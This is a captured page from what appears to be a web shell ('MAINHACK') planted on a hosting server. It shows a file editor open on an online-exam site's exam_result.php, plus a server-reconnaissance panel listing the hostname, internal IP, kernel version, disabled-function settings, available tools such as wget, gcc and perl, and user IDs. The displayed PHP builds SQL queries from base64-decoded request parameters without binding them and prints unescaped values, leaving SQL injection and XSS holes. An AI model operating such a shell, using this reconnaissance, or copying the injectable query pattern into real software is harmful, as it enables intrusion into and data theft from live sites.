[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: exam_result.php
<?php include("header.php");$eid=base64_decode($_REQUEST['eid']); $paper_id=base64_decode($_REQUEST['pid']); ?> <!-- // Header include --> <script src="js/jquery-1.11.1.min.js"></script> <link rel="stylesheet" href="admin@/compiled/flipclock.css"> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script src="admin@/compiled/flipclock.js"></script> <!-- Banner Slider --> <div class="banner-inner" style="height: auto;"> <img src="images/profilebg.png" class="profile-inner" alt=" inner-banner" /> <div class="dec"> <div class="container"> <ul> <li><a href="index.php">Home</a></li> <li><a href="exam_result.php" class="active"> Exam Results</a></li> </ul> <h1> Online Exam Results</h1> </div> </div> </div> <!-- // Banner Slider --> <?php $sq="select *,result.date as rdate from result left join paper_details on result.paper_id=paper_details.paper_id where result.exam_id='".$eid."'"; //echo $sq; $stmt=$con->prepare($sq); $stmt->execute(); $num=$stmt->rowCount(); while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ $timing=explode(':',$row['exam_timing']); $edate=date('d-m-Y h:i a',strtotime($row['rdate'])); ?> <div class="giveexam" style=""> <div class="home-title" style=""> <h2> Exam <span> Results </span> </h2> </div> <div class="container"> <div class="giveexam-box paper_result_box" style=""> <h2>Exam Id: <b> <?=$eid?> </b> | Paper Name: <b><?=$row['paper_name']?>(<?=$paper_id?>) </b></h2> <h2>Exam Time: <b><?php echo $timing[0]."hr ".$timing[1]."min";?></b> | Exam Date: <b> <?php echo $edate;?></b></h2> <h2>Marks obtained: <b> <?=$row['answered']?>/<?=$row['no_of_question']?> </b></h2> <h6>Total number of questions :<b> <?=$row['no_of_question']?></b></h6> <h6>Exam Percentage :<b> <?=round($row['percentage'])?>%</b></h6> <h5>Test Review : <b>View answers and explanation for this test. </b></h5> <div class="giveexam-paper" style=""> <form method="post" > <?php $count=1; $sr='upload_questions';//$subcategory=''; $sq1="select * from exam_score where exam_score.paper_id='".$paper_id."' and exam_score.exam_id='".$eid."'"; echo $sq1; $stmt=$con->prepare($sq1); $stmt->execute(); while ($row1 = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $s1=$show->readwithdata_clause('papers','qid',$row1['question_id'],'group by qid'); while ($row11 = $s1->fetch(PDO::FETCH_ASSOC)){ $img=$row11['question_img']==''?'':'<img src="'.$pic_img.'/'.$row11['question_img'].'" width="300px">'; ?> <div class="new-result"> <span class="question"><b><?=$count?>.</b> <?php echo $row1['question_id']; ?><?=htmlspecialchars_decode($row11['question'])?></span> <?=$img?> <br> <p class="ans"> <label><img src="images/ANS-A.png" class="radio-ans-icon"><input type="radio" name="option<?=$count?>[]" value="<?=$row11['option1']?>" <?php if($row1['given']==$row11['option1']) echo "checked"; ?>><?=$row11['option1']?> <?php if($row11['answer']==$row11['option1']){?> <img src="images/ANS-R.png" class="radio-ans-right"> <?php }else if($row1['given']==$row11['option1']){?> <img src="images/ANS-X.png" class="radio-ans-worng"> <?php }?> </label> <label><img src="images/ANS-B.png" class="radio-ans-icon"><input type="radio" name="option<?=$count?>[]" value="<?=$row11['option2']?>" <?php if($row1['given']==$row11['option2']) echo "checked"; ?>><?=$row11['option2']?> <?php if($row11['answer']==$row11['option2']){?> <img src="images/ANS-R.png" class="radio-ans-right"> <?php }else if($row1['given']==$row11['option2']){?> <img src="images/ANS-X.png" class="radio-ans-worng"> <?php }?> </label> <label><img src="images/ANS-C.png" class="radio-ans-icon"><input type="radio" name="option<?=$count?>[]" value="<?=$row11['option3']?>" <?php if($row1['given']==$row11['option3']) echo "checked"; ?>><?=$row11['option3']?> <?php if($row11['answer']==$row11['option3']){?> <img src="images/ANS-R.png" class="radio-ans-right"> <?php }else if($row1['given']==$row11['option3']){?> <img src="images/ANS-X.png" class="radio-ans-worng"> <?php }?> </label> <label><img src="images/ANS-D.png" class="radio-ans-icon"><input type="radio" name="option<?=$count?>[]" value="<?=$row11['option4']?>" <?php if($row1['given']==$row11['option4']) echo "checked"; ?>><?=$row11['option4']?> <?php if($row11['answer']==$row11['option4']){?> <img src="images/ANS-R.png" class="radio-ans-right"> <?php }else if($row1['given']==$row11['option4']){?> <img src="images/ANS-X.png" class="radio-ans-worng"> <?php }?> </label> <div class="xplanation-ans" style=""> <h1><b>Your Answer : </b> <?=$row1['given']?> </h1> <h1><b>Correct Answer : </b> <?=$row11['answer']?> </h1> </div> </p> </div> <?php ++$count;} } ?> <!-- <div class="new-result"> <span class="question"><b>02.</b> Select the alternative which represents three out of the five alternative figures which when fitted into each other would form a complete square. <img src="images/qursen-3.png" class="img-qursen-icon" alt="Question Img"> </span> <p class="ans"> <label><img src="images/ANS-A.png" class="radio-ans-icon"><input type="radio" name="option1[]" value="V-PCI">134</label> <label><img src="images/ANS-B.png" class="radio-ans-icon"><input type="radio" name="option1[]" value="V-CIP">345 <img src="images/ANS-R.png" class="radio-ans-right"></label> <label><img src="images/ANS-C.png" class="radio-ans-icon"><input type="radio" name="option1[]" value="V-PIC" checked>234 <img src="images/ANS-X.png" class="radio-ans-worng"> </label> <label><img src="images/ANS-D.png" class="radio-ans-icon"><input type="radio" name="option1[]" value="None of these">135</label> <div class="xplanation-ans" style=""> <h1><b>Your Answer : </b> Option <img src="images/ANS-D.png" class="xplanation-ans-icon"> </h1> <h1><b>Correct Answer : </b> Option <img src="images/ANS-A.png" class="xplanation-ans-icon"> </h1> </div> </p> </div> --> </form> </div> </div> </div> </div> <?php } ?> <!-- Header include --> <?php include("footer.php"); ?> <!-- // Header include -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.22 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619